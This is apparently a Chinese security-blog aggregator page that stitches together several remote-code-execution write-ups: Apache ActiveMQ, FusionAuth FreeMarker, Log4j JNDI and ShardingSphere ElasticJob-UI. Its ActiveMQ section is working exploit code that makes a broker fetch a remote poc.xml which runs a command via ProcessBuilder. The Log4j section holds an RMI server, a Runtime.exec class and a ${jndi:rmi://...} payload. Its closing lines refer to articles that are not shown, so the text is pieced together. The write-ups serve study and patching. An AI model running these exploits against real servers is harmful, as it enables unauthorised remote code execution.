public static void ExceptionResponseExploit() throws Exception { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616"); Connection connection = connectionFactory.createConnection("admin","admin"); connection.start(); ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE); ExceptionResponse expetionResponse = new ExceptionResponse(); expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml")); ExploitSession.syncSendPacket(expetionResponse); //ExploitSession.asyncSendPacket(expetionResponse); //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse); connection.close(); }
由于 ExceptionResponse
实例化的时候必须传入 Throwable
类型,但是 ClassPathXmlApplicationContext
不是该类型,所以需要 修改 ClassPathXmlApplicationContext
继承 Throwable
。添加如下代码
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ public ClassPathXmlApplicationContext(String message) { super(message); } }
相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller
public static void ConnectionErrorExploit() throws Exception { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616"); Connection connection = connectionFactory.createConnection("admin","admin"); connection.start(); ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE); ConnectionError connectionError = new ConnectionError(); connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml")); //ExploitSession.syncSendPacket(connectionError); //ExploitSession.asyncSendPacket(connectionError); ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError); connection.close(); }
public static void MessageAckExploit() throws Exception { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616"); Connection connection = connectionFactory.createConnection("admin","admin"); connection.start(); ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE); MessageAck messageAck = new MessageAck(); messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml")); ExploitSession.syncSendPacket(messageAck); //ExploitSession.asyncSendPacket(messageAck); //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck); connection.close(); }
通过数据流进行触发 ExceptionResponseMarshaller
主要是依据 ActiveMQ 的协议 去触发 ExceptionResponseMarshaller
String ip = "127.0.0.1"; int port = 61616; String pocxml= "http://192.168.184.1:9090/poc.xml"; Socket sck = new Socket(ip, port); OutputStream os = sck.getOutputStream(); DataOutputStream out = new DataOutputStream(os); out.writeInt(0); // out.writeByte(31); //dataType ExceptionResponseMarshaller out.writeInt(1); //CommandId out.writeBoolean(true); //ResponseRequired out.writeInt(1); //CorrelationId out.writeBoolean(true); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); //use true -> red utf-8 string out.writeBoolean(true); out.writeUTF(pocxml); //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce out.close(); os.close(); sck.close();
通过伪造类实现触发 ExceptionResponse
我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand
利用 wireFormat.unmarshal
来对数据进行处理 所以我们找到相对应的 wireFormat.marshal
org.apache.activemq.transport.tcp.TcpTransport#oneway
通过本地新建 org.apache.activemq.transport.tcp.TcpTransport
类重写对应逻辑,运行时优先触发本地的 TcpTransport 类
/** * A one way asynchronous send */ @Override public void oneway(Object command) throws IOException { checkStarted(); Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj); wireFormat.marshal(response, dataOut); dataOut.flush(); }
将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse
实例化的时候必须传入 Throwable
类型,但是 ClassPathXmlApplicationContext
不是该类型,所以需要 修改 ClassPathXmlApplicationContext
继承 Throwable
。必须添加如下代码
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ public ClassPathXmlApplicationContext(String message) { super(message); } }
poc.xml
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>touch</value> <value>/tmp/1.txt</value> </list> </constructor-arg> </bean> </beans>
漏洞复现
Apache FreeMarker模板FusionAuth远程代码执行漏洞分析
这篇文章给大家介绍Apache FreeMarker模板FusionAuth远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
0x00 漏洞背景
2020年2月4日,360CERT监测到NVD发布了CVE-2020-7799漏洞预警,漏洞等级高。
在FusionAuth 1.11.0版本之前的中发现了一个问题。经过身份验证的用户允许编辑电子邮件模板(主页->设置->电子邮件模板)或主题(主页->设置->主题),可利用freemarker.template.utility.Execute执行任意命令
360CERT判断漏洞等级为高,危害面/影响面大。建议使用FusionAuth的用户及时安装最新补丁,以免遭受黑客攻击。
0x01 漏洞详情
Apache FusionAuth 组件利用了 Apache FreeMarker 模板引擎,经过身份验证的用户允许编辑电子邮件模板,在进行模板编辑时,可利用freemarker.template.utility.Execute执行任意命令
0x02 影响版本
-
Apache FusionAuth :
<= 1.10
0x03 修复建议
-
建议用户升级到新版FusionAuth:
https://fusionauth.io/direct-download
关于Apache FreeMarker模板FusionAuth远程代码执行漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
Apache Log4j 远程代码执行漏洞源码级分析
- 漏洞的前因后果
- 漏洞描述
- 漏洞评级
- 影响版本
- 安全建议
- 本地复现漏洞
- 本地打印 JVM 基础信息
- 本地获取服务器的打印信息
- log4j 漏洞源码分析
- 扩展:JNDI
- 危害是什么?
- GitHub 项目
- 参考链接
漏洞的前因后果
2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。详情见 【漏洞预警】Apache Log4j 远程代码执行漏洞
漏洞描述
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。
由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级
Apache Log4j 远程代码执行漏洞 严重
。
影响版本
Apache Log4j 2.x <= 2.14.1
安全建议
1、升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。
本地复现漏洞
首先需要使用低版本的 log4j 包,我们在本地新建一个 Spring Boot 项目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以复现漏洞。
参考 Apache Log4j Lookups,我们先使用代码在 log 里获取一下 java:vm。
本地打印 JVM 基础信息
@SpringBoottest
class Log4jApplicationTests {
private static final Logger logger = LogManager.getLogger(SpringBoottest.class);
@Test
void log4j() {
logger.info("content {}", "${java:vm}");
}
}
可以发现输出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)
使用 JavaLookup 获取到了 JVM 的相关信息(需要使用java
前缀)。
本地获取服务器的打印信息
本地启动一个 RMI 服务:
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8081/";
// Reference 需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
Reference reference = new Reference("ExecCalc", "ExecCalc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
ExecCalc 类直接放在根目录,不能申请包名,即不能存在 package xxx。声明后编译的 class 文件函数名称会加上包名从而不匹配。参考 Java 安全-RMI-JNDI 注入。
public class ExecCalc {
static {
try {
System.out.println("open a Calculator!");
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printstacktrace();
}
}
}
之后启动上面的 Server 类,再执行下面的代码:
@Test
void log4jEvil() {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
发现测试用例的控制台输出了 open a Calculator!
并启动了计算器。
log4j 漏洞源码分析
只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
这段代码,首先会调用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
其中 LogEvent 结构如下:
encode 对应的事件,将 ${param} 里的 param 解析出来,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
调用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,将对应参数解析出结果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getvariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
和官方文档上是能够对应上的,即 log 里只解析前缀为 date
、jndi
等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}
。
解析出参数的结果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEParaTOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是这段代码:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup
接下来就是调用 javax.naming 的 JDK 相关代码,远程加载了 ExecCalc 类,在本地输出了 open a Calculator!
并启动了计算器。
扩展:JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用 JNDI 在局域网上定位一台打印机,也可以用 JNDI 来定位数据库服务或一个远程 Java 对象。JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用。
JNDI 是应用程序设计的 Api,JNDI 可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等等。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
危害是什么?
- client 可以获取服务器的某些信息,通过 JNDI 远程加载类
- client 向服务器注入恶意代码
GitHub 项目
Java 编程思想-最全思维导图-GitHub 下载链接,需要的小伙伴可以自取~
原创不易,希望大家转载时请先联系我,并标注原文链接。
参考链接
- Java 安全-RMI-JNDI 注入
- Lesson: Overview of JNDI
- https://logging.apache.org/log4j/2.x/manual/lookups.html
总结
以上是小编为你收集整理的Apache Log4j 远程代码执行漏洞源码级分析全部内容。
如果觉得小编网站内容还不错,欢迎将小编网站推荐给好友。
原文地址:https://www.cnblogs.com/510602159-Yano/p/15689497.html
Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞
漏洞描述
Apache ShardingSphere ElasticJob-UI 是 ElasticJob 的管理控制台,包含了动态配置、作业管控等功能。ElasticJob 是一个分布式调度解决方案,由两个独立的项目 ElasticJob-Lite 和 ElasticJob-Cloud 组成。
Apache ShardingSphere ElasticJob-UI 在3.0.2之前的版本中由于对连接H2数据库的JDBC URL过滤不当从而存在远程代码执行漏洞,已经知道H2数据库用户名和密码的攻击者可利用此漏洞通过构造恶意的H2 JDBC URL进行远程代码执行。
漏洞名称 | Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞 |
---|---|
漏洞类型 | 代码注入 |
发现时间 | 2022-11-01 |
漏洞影响广度 | 极小 |
MPS编号 | MPS-2022-16674 |
CVE编号 | CVE-2022-31764 |
CNVD编号 | - |
影响范围
org.apache.shardingsphere:shardingsphere-elasticjob-lite-ui-backend@(-∞, 3.0.2)
修复方案
将组件 org.apache.shardingsphere:shardingsphere-elasticjob-lite-ui-backend 升级至 3.0.2 及以上版本
参考链接
https://www.oscs1024.com/hd/MPS-2022-16674
https://nvd.nist.gov/vuln/detail/CVE-2022-31764
情报订阅
OSCS(开源软件供应链安全社区)通过最快、最全的方式,发布开源项目最新的安全风险动态,包括开源组件安全漏洞、事件等信息。同时提供漏洞、投毒情报的免费订阅服务,社区用户可通过配置飞书、钉钉、企业微信机器人,及时获得一手情报信息推送:
https://www.oscs1024.com/cm/?src=osc
具体订阅方式详见:
https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc
关于WebSphere远程代码执行漏洞分析和weblogic远程代码执行漏洞cve-2019-2729的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于Apache ActiveMQ 远程代码执行漏洞分析、Apache FreeMarker模板FusionAuth远程代码执行漏洞分析、Apache Log4j 远程代码执行漏洞源码级分析、Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞等相关知识的信息别忘了在本站进行查找喔。
本文标签: